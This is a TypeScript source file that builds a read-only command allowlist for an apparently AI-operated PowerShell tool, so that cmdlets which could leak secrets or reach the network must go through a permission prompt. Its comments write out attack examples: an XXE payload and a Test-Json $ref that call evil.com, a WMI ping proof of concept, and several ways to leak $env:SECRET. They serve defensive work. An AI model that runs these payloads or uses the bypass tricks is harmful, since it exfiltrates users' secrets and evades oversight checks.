/ tools / PowerShellTool / readOnlyValidation.ts
readOnlyValidation.ts
   1  /**
   2   * PowerShell read-only command validation.
   3   *
   4   * Cmdlets are case-insensitive; all matching is done in lowercase.
   5   */
   6  
   7  import type {
   8    ParsedCommandElement,
   9    ParsedPowerShellCommand,
  10  } from '../../utils/powershell/parser.js'
  11  
  12  type ParsedStatement = ParsedPowerShellCommand['statements'][number]
  13  
  14  import { getPlatform } from '../../utils/platform.js'
  15  import {
  16    COMMON_ALIASES,
  17    deriveSecurityFlags,
  18    getPipelineSegments,
  19    isNullRedirectionTarget,
  20    isPowerShellParameter,
  21  } from '../../utils/powershell/parser.js'
  22  import type { ExternalCommandConfig } from '../../utils/shell/readOnlyCommandValidation.js'
  23  import {
  24    DOCKER_READ_ONLY_COMMANDS,
  25    EXTERNAL_READONLY_COMMANDS,
  26    GH_READ_ONLY_COMMANDS,
  27    GIT_READ_ONLY_COMMANDS,
  28    validateFlags,
  29  } from '../../utils/shell/readOnlyCommandValidation.js'
  30  import { COMMON_PARAMETERS } from './commonParameters.js'
  31  
  32  const DOTNET_READ_ONLY_FLAGS = new Set([
  33    '--version',
  34    '--info',
  35    '--list-runtimes',
  36    '--list-sdks',
  37  ])
  38  
  39  type CommandConfig = {
  40    /** Safe subcommands or flags for this command */
  41    safeFlags?: string[]
  42    /**
  43     * When true, all flags are allowed regardless of safeFlags.
  44     * Use for commands whose entire flag surface is read-only (e.g., hostname).
  45     * Without this, an empty/missing safeFlags rejects all flags (positional
  46     * args only).
  47     */
  48    allowAllFlags?: boolean
  49    /** Regex constraint on the original command */
  50    regex?: RegExp
  51    /** Additional validation callback - returns true if command is dangerous */
  52    additionalCommandIsDangerousCallback?: (
  53      command: string,
  54      element?: ParsedCommandElement,
  55    ) => boolean
  56  }
  57  
  58  /**
  59   * Shared callback for cmdlets that print or coerce their args to stdout/
  60   * stderr. `Write-Output $env:SECRET` prints it directly; `Start-Sleep
  61   * $env:SECRET` leaks via type-coerce error ("Cannot convert value 'sk-...'
  62   * to System.Double"). Bash's echo regex WHITELISTS safe chars per token.
  63   *
  64   * Two checks:
  65   * 1. elementTypes whitelist — StringConstant (literals) + Parameter (flag
  66   *    names). Rejects Variable, Other (HashtableAst/ConvertExpressionAst/
  67   *    BinaryExpressionAst all map to Other), ScriptBlock, SubExpression,
  68   *    ExpandableString. Same pattern as SAFE_PATH_ELEMENT_TYPES.
  69   * 2. Colon-bound parameter value — `-InputObject:$env:SECRET` creates a
  70   *    SINGLE CommandParameterAst; the VariableExpressionAst is its .Argument
  71   *    child, not a separate CommandElement. elementTypes = [..., 'Parameter'],
  72   *    whitelist passes. Query children[] for the .Argument's mapped type;
  73   *    anything other than StringConstant (Variable, ParenExpression wrapping
  74   *    arbitrary pipelines, Hashtable, etc.) is a leak vector.
  75   */
  76  export function argLeaksValue(
  77    _cmd: string,
  78    element?: ParsedCommandElement,
  79  ): boolean {
  80    const argTypes = (element?.elementTypes ?? []).slice(1)
  81    const args = element?.args ?? []
  82    const children = element?.children
  83    for (let i = 0; i < argTypes.length; i++) {
  84      if (argTypes[i] !== 'StringConstant' && argTypes[i] !== 'Parameter') {
  85        // ArrayLiteralAst (`Select-Object Name, Id`) maps to 'Other' — the
  86        // parse script only populates children for CommandParameterAst.Argument,
  87        // so we can't inspect elements. Fall back to string-archaeology on the
  88        // extent text: Hashtable has `@{`, ParenExpr has `(`, variables have
  89        // `$`, type literals have `[`, scriptblocks have `{`. A comma-list of
  90        // bare identifiers has none. `Name, $x` still rejects on `$`.
  91        if (!/[$(@{[]/.test(args[i] ?? '')) {
  92          continue
  93        }
  94        return true
  95      }
  96      if (argTypes[i] === 'Parameter') {
  97        const paramChildren = children?.[i]
  98        if (paramChildren) {
  99          if (paramChildren.some(c => c.type !== 'StringConstant')) {
 100            return true
 101          }
 102        } else {
 103          // Fallback: string-archaeology on arg text (pre-children parsers).
 104          // Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
 105          // sub), `{` (scriptblock), `[` (type literal/static method).
 106          const arg = args[i] ?? ''
 107          const colonIdx = arg.indexOf(':')
 108          if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
 109            return true
 110          }
 111        }
 112      }
 113    }
 114    return false
 115  }
 116  
 117  /**
 118   * Allowlist of PowerShell cmdlets that are considered read-only.
 119   * Each cmdlet maps to its configuration including safe flags.
 120   *
 121   * Note: PowerShell cmdlets are case-insensitive, so we store keys in lowercase
 122   * and normalize input for matching.
 123   *
 124   * Uses Object.create(null) to prevent prototype-chain pollution — attacker-
 125   * controlled command names like 'constructor' or '__proto__' must return
 126   * undefined, not inherited Object.prototype properties. Same defense as
 127   * COMMON_ALIASES in parser.ts.
 128   */
 129  export const CMDLET_ALLOWLIST: Record<string, CommandConfig> = Object.assign(
 130    Object.create(null) as Record<string, CommandConfig>,
 131    {
 132      // =========================================================================
 133      // PowerShell Cmdlets - Filesystem (read-only)
 134      // =========================================================================
 135      'get-childitem': {
 136        safeFlags: [
 137          '-Path',
 138          '-LiteralPath',
 139          '-Filter',
 140          '-Include',
 141          '-Exclude',
 142          '-Recurse',
 143          '-Depth',
 144          '-Name',
 145          '-Force',
 146          '-Attributes',
 147          '-Directory',
 148          '-File',
 149          '-Hidden',
 150          '-ReadOnly',
 151          '-System',
 152        ],
 153      },
 154      'get-content': {
 155        safeFlags: [
 156          '-Path',
 157          '-LiteralPath',
 158          '-TotalCount',
 159          '-Head',
 160          '-Tail',
 161          '-Raw',
 162          '-Encoding',
 163          '-Delimiter',
 164          '-ReadCount',
 165        ],
 166      },
 167      'get-item': {
 168        safeFlags: ['-Path', '-LiteralPath', '-Force', '-Stream'],
 169      },
 170      'get-itemproperty': {
 171        safeFlags: ['-Path', '-LiteralPath', '-Name'],
 172      },
 173      'test-path': {
 174        safeFlags: [
 175          '-Path',
 176          '-LiteralPath',
 177          '-PathType',
 178          '-Filter',
 179          '-Include',
 180          '-Exclude',
 181          '-IsValid',
 182          '-NewerThan',
 183          '-OlderThan',
 184        ],
 185      },
 186      'resolve-path': {
 187        safeFlags: ['-Path', '-LiteralPath', '-Relative'],
 188      },
 189      'get-filehash': {
 190        safeFlags: ['-Path', '-LiteralPath', '-Algorithm', '-InputStream'],
 191      },
 192      'get-acl': {
 193        safeFlags: [
 194          '-Path',
 195          '-LiteralPath',
 196          '-Audit',
 197          '-Filter',
 198          '-Include',
 199          '-Exclude',
 200        ],
 201      },
 202  
 203      // =========================================================================
 204      // PowerShell Cmdlets - Navigation (read-only, just changes working directory)
 205      // =========================================================================
 206      'set-location': {
 207        safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
 208      },
 209      'push-location': {
 210        safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
 211      },
 212      'pop-location': {
 213        safeFlags: ['-PassThru', '-StackName'],
 214      },
 215  
 216      // =========================================================================
 217      // PowerShell Cmdlets - Text searching/filtering (read-only)
 218      // =========================================================================
 219      'select-string': {
 220        safeFlags: [
 221          '-Path',
 222          '-LiteralPath',
 223          '-Pattern',
 224          '-InputObject',
 225          '-SimpleMatch',
 226          '-CaseSensitive',
 227          '-Quiet',
 228          '-List',
 229          '-NotMatch',
 230          '-AllMatches',
 231          '-Encoding',
 232          '-Context',
 233          '-Raw',
 234          '-NoEmphasis',
 235        ],
 236      },
 237  
 238      // =========================================================================
 239      // PowerShell Cmdlets - Data conversion (pure transforms, no side effects)
 240      // =========================================================================
 241      'convertto-json': {
 242        safeFlags: [
 243          '-InputObject',
 244          '-Depth',
 245          '-Compress',
 246          '-EnumsAsStrings',
 247          '-AsArray',
 248        ],
 249      },
 250      'convertfrom-json': {
 251        safeFlags: ['-InputObject', '-Depth', '-AsHashtable', '-NoEnumerate'],
 252      },
 253      'convertto-csv': {
 254        safeFlags: [
 255          '-InputObject',
 256          '-Delimiter',
 257          '-NoTypeInformation',
 258          '-NoHeader',
 259          '-UseQuotes',
 260        ],
 261      },
 262      'convertfrom-csv': {
 263        safeFlags: ['-InputObject', '-Delimiter', '-Header', '-UseCulture'],
 264      },
 265      'convertto-xml': {
 266        safeFlags: ['-InputObject', '-Depth', '-As', '-NoTypeInformation'],
 267      },
 268      'convertto-html': {
 269        safeFlags: [
 270          '-InputObject',
 271          '-Property',
 272          '-Head',
 273          '-Title',
 274          '-Body',
 275          '-Pre',
 276          '-Post',
 277          '-As',
 278          '-Fragment',
 279        ],
 280      },
 281      'format-hex': {
 282        safeFlags: [
 283          '-Path',
 284          '-LiteralPath',
 285          '-InputObject',
 286          '-Encoding',
 287          '-Count',
 288          '-Offset',
 289        ],
 290      },
 291  
 292      // =========================================================================
 293      // PowerShell Cmdlets - Object inspection and manipulation (read-only)
 294      // =========================================================================
 295      'get-member': {
 296        safeFlags: [
 297          '-InputObject',
 298          '-MemberType',
 299          '-Name',
 300          '-Static',
 301          '-View',
 302          '-Force',
 303        ],
 304      },
 305      'get-unique': {
 306        safeFlags: ['-InputObject', '-AsString', '-CaseInsensitive', '-OnType'],
 307      },
 308      'compare-object': {
 309        safeFlags: [
 310          '-ReferenceObject',
 311          '-DifferenceObject',
 312          '-Property',
 313          '-SyncWindow',
 314          '-CaseSensitive',
 315          '-Culture',
 316          '-ExcludeDifferent',
 317          '-IncludeEqual',
 318          '-PassThru',
 319        ],
 320      },
 321      // SECURITY: select-xml REMOVED. XML external entity (XXE) resolution can
 322      // trigger network requests via DOCTYPE SYSTEM/PUBLIC references in -Content
 323      // or -Xml. `Select-Xml -Content '<!DOCTYPE x [<!ENTITY e SYSTEM
 324      // "http://evil.com/x">]><x>&e;</x>' -XPath '/'` sends a GET request.
 325      // PowerShell's XmlDocument.LoadXml doesn't disable entity resolution by
 326      // default. Removal forces prompt.
 327      'join-string': {
 328        safeFlags: [
 329          '-InputObject',
 330          '-Property',
 331          '-Separator',
 332          '-OutputPrefix',
 333          '-OutputSuffix',
 334          '-SingleQuote',
 335          '-DoubleQuote',
 336          '-FormatString',
 337        ],
 338      },
 339      // SECURITY: Test-Json REMOVED. -Schema (positional 1) accepts JSON Schema
 340      // with $ref pointing to external URLs — Test-Json fetches them (network
 341      // request). safeFlags only validates EXPLICIT flags, not positional binding:
 342      // `Test-Json '{}' '{"$ref":"http://evil.com"}'` → position 1 binds to
 343      // -Schema → safeFlags check sees two non-flag args, skips both → auto-allow.
 344      'get-random': {
 345        safeFlags: [
 346          '-InputObject',
 347          '-Minimum',
 348          '-Maximum',
 349          '-Count',
 350          '-SetSeed',
 351          '-Shuffle',
 352        ],
 353      },
 354  
 355      // =========================================================================
 356      // PowerShell Cmdlets - Path utilities (read-only)
 357      // =========================================================================
 358      // convert-path's entire purpose is to resolve filesystem paths. It is now
 359      // in CMDLET_PATH_CONFIG for proper path validation, so safeFlags here only
 360      // list the path parameters (which CMDLET_PATH_CONFIG will validate).
 361      'convert-path': {
 362        safeFlags: ['-Path', '-LiteralPath'],
 363      },
 364      'join-path': {
 365        // -Resolve removed: it touches the filesystem to verify the joined path
 366        // exists, but the path was not validated against allowed directories.
 367        // Without -Resolve, Join-Path is pure string manipulation.
 368        safeFlags: ['-Path', '-ChildPath', '-AdditionalChildPath'],
 369      },
 370      'split-path': {
 371        // -Resolve removed: same rationale as join-path. Without -Resolve,
 372        // Split-Path is pure string manipulation.
 373        safeFlags: [
 374          '-Path',
 375          '-LiteralPath',
 376          '-Qualifier',
 377          '-NoQualifier',
 378          '-Parent',
 379          '-Leaf',
 380          '-LeafBase',
 381          '-Extension',
 382          '-IsAbsolute',
 383        ],
 384      },
 385  
 386      // =========================================================================
 387      // PowerShell Cmdlets - Additional system info (read-only)
 388      // =========================================================================
 389      // NOTE: Get-Clipboard is intentionally NOT included - it can expose sensitive
 390      // data like passwords or API keys that the user may have copied. Bash also
 391      // does not auto-allow clipboard commands (pbpaste, xclip, etc.).
 392      'get-hotfix': {
 393        safeFlags: ['-Id', '-Description'],
 394      },
 395      'get-itempropertyvalue': {
 396        safeFlags: ['-Path', '-LiteralPath', '-Name'],
 397      },
 398      'get-psprovider': {
 399        safeFlags: ['-PSProvider'],
 400      },
 401  
 402      // =========================================================================
 403      // PowerShell Cmdlets - Process/System info
 404      // =========================================================================
 405      'get-process': {
 406        safeFlags: [
 407          '-Name',
 408          '-Id',
 409          '-Module',
 410          '-FileVersionInfo',
 411          '-IncludeUserName',
 412        ],
 413      },
 414      'get-service': {
 415        safeFlags: [
 416          '-Name',
 417          '-DisplayName',
 418          '-DependentServices',
 419          '-RequiredServices',
 420          '-Include',
 421          '-Exclude',
 422        ],
 423      },
 424      'get-computerinfo': {
 425        allowAllFlags: true,
 426      },
 427      'get-host': {
 428        allowAllFlags: true,
 429      },
 430      'get-date': {
 431        safeFlags: ['-Date', '-Format', '-UFormat', '-DisplayHint', '-AsUTC'],
 432      },
 433      'get-location': {
 434        safeFlags: ['-PSProvider', '-PSDrive', '-Stack', '-StackName'],
 435      },
 436      'get-psdrive': {
 437        safeFlags: ['-Name', '-PSProvider', '-Scope'],
 438      },
 439      // SECURITY: Get-Command REMOVED from allowlist. -Name (positional 0,
 440      // ValueFromPipeline=true) triggers module autoload which runs .psm1 init
 441      // code. Chain attack: pre-plant module in PSModulePath, trigger autoload.
 442      // Previously tried removing -Name/-Module from safeFlags + rejecting
 443      // positional StringConstant, but pipeline input (`'EvilCmdlet' | Get-Command`)
 444      // bypasses the callback entirely since args are empty. Removal forces
 445      // prompt. Users who need it can add explicit allow rule.
 446      'get-module': {
 447        safeFlags: [
 448          '-Name',
 449          '-ListAvailable',
 450          '-All',
 451          '-FullyQualifiedName',
 452          '-PSEdition',
 453        ],
 454      },
 455      // SECURITY: Get-Help REMOVED from allowlist. Same module autoload hazard
 456      // as Get-Command (-Name has ValueFromPipeline=true, pipeline input bypasses
 457      // arg-level callback). Removal forces prompt.
 458      'get-alias': {
 459        safeFlags: ['-Name', '-Definition', '-Scope', '-Exclude'],
 460      },
 461      'get-history': {
 462        safeFlags: ['-Id', '-Count'],
 463      },
 464      'get-culture': {
 465        allowAllFlags: true,
 466      },
 467      'get-uiculture': {
 468        allowAllFlags: true,
 469      },
 470      'get-timezone': {
 471        safeFlags: ['-Name', '-Id', '-ListAvailable'],
 472      },
 473      'get-uptime': {
 474        allowAllFlags: true,
 475      },
 476  
 477      // =========================================================================
 478      // PowerShell Cmdlets - Output & misc (no side effects)
 479      // =========================================================================
 480      // Bash parity: `echo` is auto-allowed via custom regex (BashTool
 481      // readOnlyValidation.ts:~1517). That regex WHITELISTS safe chars per arg.
 482      // See argLeaksValue above for the three attack shapes it blocks.
 483      'write-output': {
 484        safeFlags: ['-InputObject', '-NoEnumerate'],
 485        additionalCommandIsDangerousCallback: argLeaksValue,
 486      },
 487      // Write-Host bypasses the pipeline (Information stream, PS5+), so it's
 488      // strictly less capable than Write-Output — but the same
 489      // `Write-Host $env:SECRET` leak-via-display applies.
 490      'write-host': {
 491        safeFlags: [
 492          '-Object',
 493          '-NoNewline',
 494          '-Separator',
 495          '-ForegroundColor',
 496          '-BackgroundColor',
 497        ],
 498        additionalCommandIsDangerousCallback: argLeaksValue,
 499      },
 500      // Bash parity: `sleep` is in READONLY_COMMANDS (BashTool
 501      // readOnlyValidation.ts:~1146). Zero side effects at runtime — but
 502      // `Start-Sleep $env:SECRET` leaks via type-coerce error. Same guard.
 503      'start-sleep': {
 504        safeFlags: ['-Seconds', '-Milliseconds', '-Duration'],
 505        additionalCommandIsDangerousCallback: argLeaksValue,
 506      },
 507      // Format-* and Measure-Object moved here from SAFE_OUTPUT_CMDLETS after
 508      // security review found all accept calculated-property hashtables (same
 509      // exploit as Where-Object — I4 regression). isSafeOutputCommand is a
 510      // NAME-ONLY check that filtered them out of the approval loop BEFORE arg
 511      // validation. Here, argLeaksValue validates args:
 512      //   | Format-Table               → no args → safe → allow
 513      //   | Format-Table Name, CPU     → StringConstant positionals → safe → allow
 514      //   | Format-Table $env:SECRET   → Variable elementType → blocked → passthrough
 515      //   | Format-Table @{N='x';E={}} → Other (HashtableAst) → blocked → passthrough
 516      //   | Measure-Object -Property $env:SECRET → same → blocked
 517      // allowAllFlags: argLeaksValue validates arg elementTypes (Variable/Hashtable/
 518      // ScriptBlock → blocked). Format-* flags themselves (-AutoSize, -GroupBy,
 519      // -Wrap, etc.) are display-only. Without allowAllFlags, the empty-safeFlags
 520      // default rejects ALL flags — `Format-Table -AutoSize` would over-prompt.
 521      'format-table': {
 522        allowAllFlags: true,
 523        additionalCommandIsDangerousCallback: argLeaksValue,
 524      },
 525      'format-list': {
 526        allowAllFlags: true,
 527        additionalCommandIsDangerousCallback: argLeaksValue,
 528      },
 529      'format-wide': {
 530        allowAllFlags: true,
 531        additionalCommandIsDangerousCallback: argLeaksValue,
 532      },
 533      'format-custom': {
 534        allowAllFlags: true,
 535        additionalCommandIsDangerousCallback: argLeaksValue,
 536      },
 537      'measure-object': {
 538        allowAllFlags: true,
 539        additionalCommandIsDangerousCallback: argLeaksValue,
 540      },
 541      // Select-Object/Sort-Object/Group-Object/Where-Object: same calculated-
 542      // property hashtable surface as format-* (about_Calculated_Properties).
 543      // Removed from SAFE_OUTPUT_CMDLETS but previously missing here, causing
 544      // `Get-Process | Select-Object Name` to over-prompt. argLeaksValue handles
 545      // them identically: StringConstant property names pass (`Select-Object Name`),
 546      // HashtableAst/ScriptBlock/Variable args block (`Select-Object @{N='x';E={...}}`,
 547      // `Where-Object { ... }`). allowAllFlags: -First/-Last/-Skip/-Descending/
 548      // -Property/-EQ etc. are all selection/ordering flags — harmless on their own;
 549      // argLeaksValue catches the dangerous arg *values*.
 550      'select-object': {
 551        allowAllFlags: true,
 552        additionalCommandIsDangerousCallback: argLeaksValue,
 553      },
 554      'sort-object': {
 555        allowAllFlags: true,
 556        additionalCommandIsDangerousCallback: argLeaksValue,
 557      },
 558      'group-object': {
 559        allowAllFlags: true,
 560        additionalCommandIsDangerousCallback: argLeaksValue,
 561      },
 562      'where-object': {
 563        allowAllFlags: true,
 564        additionalCommandIsDangerousCallback: argLeaksValue,
 565      },
 566      // Out-String/Out-Host moved here from SAFE_OUTPUT_CMDLETS — both accept
 567      // -InputObject which leaks the same way Write-Output does.
 568      // `Get-Process | Out-String -InputObject $env:SECRET` → secret prints.
 569      // allowAllFlags: -Width/-Stream/-Paging/-NoNewline are display flags;
 570      // argLeaksValue catches the dangerous -InputObject *value*.
 571      'out-string': {
 572        allowAllFlags: true,
 573        additionalCommandIsDangerousCallback: argLeaksValue,
 574      },
 575      'out-host': {
 576        allowAllFlags: true,
 577        additionalCommandIsDangerousCallback: argLeaksValue,
 578      },
 579  
 580      // =========================================================================
 581      // PowerShell Cmdlets - Network info (read-only)
 582      // =========================================================================
 583      'get-netadapter': {
 584        safeFlags: [
 585          '-Name',
 586          '-InterfaceDescription',
 587          '-InterfaceIndex',
 588          '-Physical',
 589        ],
 590      },
 591      'get-netipaddress': {
 592        safeFlags: [
 593          '-InterfaceIndex',
 594          '-InterfaceAlias',
 595          '-AddressFamily',
 596          '-Type',
 597        ],
 598      },
 599      'get-netipconfiguration': {
 600        safeFlags: ['-InterfaceIndex', '-InterfaceAlias', '-Detailed', '-All'],
 601      },
 602      'get-netroute': {
 603        safeFlags: [
 604          '-InterfaceIndex',
 605          '-InterfaceAlias',
 606          '-AddressFamily',
 607          '-DestinationPrefix',
 608        ],
 609      },
 610      'get-dnsclientcache': {
 611        // SECURITY: -CimSession/-ThrottleLimit excluded. -CimSession connects to
 612        // a remote host (network request). Previously empty config = all flags OK.
 613        safeFlags: ['-Entry', '-Name', '-Type', '-Status', '-Section', '-Data'],
 614      },
 615      'get-dnsclient': {
 616        safeFlags: ['-InterfaceIndex', '-InterfaceAlias'],
 617      },
 618  
 619      // =========================================================================
 620      // PowerShell Cmdlets - Event log (read-only)
 621      // =========================================================================
 622      'get-eventlog': {
 623        safeFlags: [
 624          '-LogName',
 625          '-Newest',
 626          '-After',
 627          '-Before',
 628          '-EntryType',
 629          '-Index',
 630          '-InstanceId',
 631          '-Message',
 632          '-Source',
 633          '-UserName',
 634          '-AsBaseObject',
 635          '-List',
 636        ],
 637      },
 638      'get-winevent': {
 639        // SECURITY: -FilterXml/-FilterHashtable removed. -FilterXml accepts XML
 640        // with DOCTYPE external entities (XXE → network request). -FilterHashtable
 641        // would be caught by the elementTypes 'Other' check since @{} is
 642        // HashtableAst, but removal is explicit. Same XXE hazard as Select-Xml
 643        // (removed above). -FilterXPath kept (string pattern only, no entity
 644        // resolution). -ComputerName/-Credential also implicitly excluded.
 645        safeFlags: [
 646          '-LogName',
 647          '-ListLog',
 648          '-ListProvider',
 649          '-ProviderName',
 650          '-Path',
 651          '-MaxEvents',
 652          '-FilterXPath',
 653          '-Force',
 654          '-Oldest',
 655        ],
 656      },
 657  
 658      // =========================================================================
 659      // PowerShell Cmdlets - WMI/CIM
 660      // =========================================================================
 661      // SECURITY: Get-WmiObject and Get-CimInstance REMOVED. They actively
 662      // trigger network requests via classes like Win32_PingStatus (sends ICMP
 663      // when enumerated) and can query remote computers via -ComputerName/
 664      // CimSession. -Class/-ClassName/-Filter/-Query accept arbitrary WMI
 665      // classes/WQL that we cannot statically validate.
 666      //   PoC: Get-WmiObject -Class Win32_PingStatus -Filter 'Address="evil.com"'
 667      //   → sends ICMP to evil.com (DNS leak + potential NTLM auth leak).
 668      // WMI can also auto-load provider DLLs (init code). Removal forces prompt.
 669      // get-cimclass stays — only lists class metadata, no instance enumeration.
 670      'get-cimclass': {
 671        safeFlags: [
 672          '-ClassName',
 673          '-Namespace',
 674          '-MethodName',
 675          '-PropertyName',
 676          '-QualifierName',
 677        ],
 678      },
 679  
 680      // =========================================================================
 681      // Git - uses shared external command validation with per-flag checking
 682      // =========================================================================
 683      git: {},
 684  
 685      // =========================================================================
 686      // GitHub CLI (gh) - uses shared external command validation
 687      // =========================================================================
 688      gh: {},
 689  
 690      // =========================================================================
 691      // Docker - uses shared external command validation
 692      // =========================================================================
 693      docker: {},
 694  
 695      // =========================================================================
 696      // Windows-specific system commands
 697      // =========================================================================
 698      ipconfig: {
 699        // SECURITY: On macOS, `ipconfig set <iface> <mode>` configures network
 700        // (writes system config). safeFlags only validates FLAGS, positional args
 701        // are SKIPPED. Reject any positional argument — only bare `ipconfig` or
 702        // `ipconfig /all` (read-only display) allowed. Windows ipconfig only uses
 703        // /flags (display), macOS ipconfig uses subcommands (get/set/waitall).
 704        safeFlags: ['/all', '/displaydns', '/allcompartments'],
 705        additionalCommandIsDangerousCallback: (
 706          _cmd: string,
 707          element?: ParsedCommandElement,
 708        ) => {
 709          return (element?.args ?? []).some(
 710            a => !a.startsWith('/') && !a.startsWith('-'),
 711          )
 712        },
 713      },
 714      netstat: {
 715        safeFlags: [
 716          '-a',
 717          '-b',
 718          '-e',
 719          '-f',
 720          '-n',
 721          '-o',
 722          '-p',
 723          '-q',
 724          '-r',
 725          '-s',
 726          '-t',
 727          '-x',
 728          '-y',
 729        ],
 730      },
 731      systeminfo: {
 732        safeFlags: ['/FO', '/NH'],
 733      },
 734      tasklist: {
 735        safeFlags: ['/M', '/SVC', '/V', '/FI', '/FO', '/NH'],
 736      },
 737      // where.exe: Windows PATH locator, bash `which` equivalent. Reaches here via
 738      // SAFE_EXTERNAL_EXES bypass at the nameType gate in isAllowlistedCommand.
 739      // All flags are read-only (/R /F /T /Q), matching bash's treatment of `which`
 740      // in BashTool READONLY_COMMANDS.
 741      'where.exe': {
 742        allowAllFlags: true,
 743      },
 744      hostname: {
 745        // SECURITY: `hostname NAME` on Linux/macOS SETS the hostname (writes to
 746        // system config). `hostname -F FILE` / `--file=FILE` also sets from file.
 747        // Only allow bare `hostname` and known read-only flags.
 748        safeFlags: ['-a', '-d', '-f', '-i', '-I', '-s', '-y', '-A'],
 749        additionalCommandIsDangerousCallback: (
 750          _cmd: string,
 751          element?: ParsedCommandElement,
 752        ) => {
 753          // Reject any positional (non-flag) argument — sets hostname.
 754          return (element?.args ?? []).some(a => !a.startsWith('-'))
 755        },
 756      },
 757      whoami: {
 758        safeFlags: [
 759          '/user',
 760          '/groups',
 761          '/claims',
 762          '/priv',
 763          '/logonid',
 764          '/all',
 765          '/fo',
 766          '/nh',
 767        ],
 768      },
 769      ver: {
 770        allowAllFlags: true,
 771      },
 772      arp: {
 773        safeFlags: ['-a', '-g', '-v', '-N'],
 774      },
 775      route: {
 776        safeFlags: ['print', 'PRINT', '-4', '-6'],
 777        additionalCommandIsDangerousCallback: (
 778          _cmd: string,
 779          element?: ParsedCommandElement,
 780        ) => {
 781          // SECURITY: route.exe syntax is `route [-f] [-p] [-4|-6] VERB [args...]`.
 782          // The first non-flag positional is the verb. `route add 10.0.0.0 mask
 783          // 255.0.0.0 192.168.1.1 print` adds a route (print is a trailing display
 784          // modifier). The old check used args.some('print') which matched 'print'
 785          // anywhere — position-insensitive.
 786          if (!element) {
 787            return true
 788          }
 789          const verb = element.args.find(a => !a.startsWith('-'))
 790          return verb?.toLowerCase() !== 'print'
 791        },
 792      },
 793      // netsh: intentionally NOT allowlisted. Three rounds of denylist gaps in PR
 794      // #22060 (verb position → dash flags → slash flags → more verbs) proved
 795      // the grammar is too complex to allowlist safely: 3-deep context nesting
 796      // (`netsh interface ipv4 show addresses`), dual-prefix flags (-f / /f),
 797      // script execution via -f and `exec`, remote RPC via -r, offline-mode
 798      // commit, wlan connect/disconnect, etc. Each denylist expansion revealed
 799      // another gap. `route` stays — `route print` is the only read-only form,
 800      // simple single-verb-position grammar.
 801      getmac: {
 802        safeFlags: ['/FO', '/NH', '/V'],
 803      },
 804  
 805      // =========================================================================
 806      // Cross-platform CLI tools
 807      // =========================================================================
 808      // File inspection
 809      // SECURITY: file -C compiles a magic database and WRITES to disk. Only
 810      // allow introspection flags; reject -C / --compile / -m / --magic-file.
 811      file: {
 812        safeFlags: [
 813          '-b',
 814          '--brief',
 815          '-i',
 816          '--mime',
 817          '-L',
 818          '--dereference',
 819          '--mime-type',
 820          '--mime-encoding',
 821          '-z',
 822          '--uncompress',
 823          '-p',
 824          '--preserve-date',
 825          '-k',
 826          '--keep-going',
 827          '-r',
 828          '--raw',
 829          '-v',
 830          '--version',
 831          '-0',
 832          '--print0',
 833          '-s',
 834          '--special-files',
 835          '-l',
 836          '-F',
 837          '--separator',
 838          '-e',
 839          '-P',
 840          '-N',
 841          '--no-pad',
 842          '-E',
 843          '--extension',
 844        ],
 845      },
 846      tree: {
 847        safeFlags: ['/F', '/A', '/Q', '/L'],
 848      },
 849      findstr: {
 850        safeFlags: [
 851          '/B',
 852          '/E',
 853          '/L',
 854          '/R',
 855          '/S',
 856          '/I',
 857          '/X',
 858          '/V',
 859          '/N',
 860          '/M',
 861          '/O',
 862          '/P',
 863          // Flag matching strips ':' before comparison (e.g., /C:pattern → /C),
 864          // so these entries must NOT include the trailing colon.
 865          '/C',
 866          '/G',
 867          '/D',
 868          '/A',
 869        ],
 870      },
 871  
 872      // =========================================================================
 873      // Package managers - uses shared external command validation
 874      // =========================================================================
 875      dotnet: {},
 876  
 877      // SECURITY: man and help direct entries REMOVED. They aliased Get-Help
 878      // (also removed — see above). Without these entries, lookupAllowlist
 879      // resolves via COMMON_ALIASES to 'get-help' which is not in allowlist →
 880      // prompt. Same module-autoload hazard as Get-Help.
 881    },
 882  )
 883  
 884  /**
 885   * Safe output/formatting cmdlets that can receive piped input.
 886   * Stored as canonical cmdlet names in lowercase.
 887   */
 888  const SAFE_OUTPUT_CMDLETS = new Set([
 889    'out-null',
 890    // NOT out-string/out-host — both accept -InputObject which leaks args the
 891    // same way Write-Output does. Moved to CMDLET_ALLOWLIST with argLeaksValue.
 892    // `Get-Process | Out-String -InputObject $env:SECRET` — Out-String was
 893    // filtered name-only, the $env arg was never validated.
 894    // out-null stays: it discards everything, no -InputObject leak.
 895    // NOT foreach-object / where-object / select-object / sort-object /
 896    // group-object / format-table / format-list / format-wide / format-custom /
 897    // measure-object — ALL accept calculated-property hashtables or script-block
 898    // predicates that evaluate arbitrary expressions at runtime
 899    // (about_Calculated_Properties). Examples:
 900    //   Where-Object @{k=$env:SECRET}       — HashtableAst arg, 'Other' elementType
 901    //   Select-Object @{N='x';E={...}}      — calculated property scriptblock
 902    //   Format-Table $env:SECRET            — positional -Property, prints as header
 903    //   Measure-Object -Property $env:SECRET — leaks via "property 'sk-...' not found"
 904    //   ForEach-Object { $env:PATH='e' }    — arbitrary script body
 905    // isSafeOutputCommand is a NAME-ONLY check — step-5 filters these out of
 906    // the approval loop BEFORE arg validation runs. With them here, an
 907    // all-safe-output tail auto-allows on empty subCommands regardless of
 908    // what the arg contains. Removing them forces the tail through arg-level
 909    // validation (hashtable is 'Other' elementType → fails the whitelist at
 910    // isAllowlistedCommand → ask; bare $var is 'Variable' → same).
 911    //
 912    // NOT write-output — pipeline-initial $env:VAR is a VariableExpressionAst,
 913    // skipped by getSubCommandsForPermissionCheck (non-CommandAst). With
 914    // write-output here, `$env:SECRET | Write-Output` → WO filtered as
 915    // safe-output → empty subCommands → auto-allow → secret prints. The
 916    // CMDLET_ALLOWLIST entry handles direct `Write-Output 'literal'`.
 917  ])
 918  
 919  /**
 920   * Cmdlets moved from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST with
 921   * argLeaksValue. These are pipeline-tail transformers (Format-*,
 922   * Measure-Object, Select-Object, etc.) that were previously name-only
 923   * filtered as safe-output. They now require arg validation (argLeaksValue
 924   * blocks calculated-property hashtables / scriptblocks / variable args).
 925   *
 926   * Used by isAllowlistedPipelineTail for the narrow fallback in
 927   * checkPermissionMode and isReadOnlyCommand — these callers need the same
 928   * "skip harmless pipeline tail" behavior as SAFE_OUTPUT_CMDLETS but with
 929   * the argLeaksValue guard.
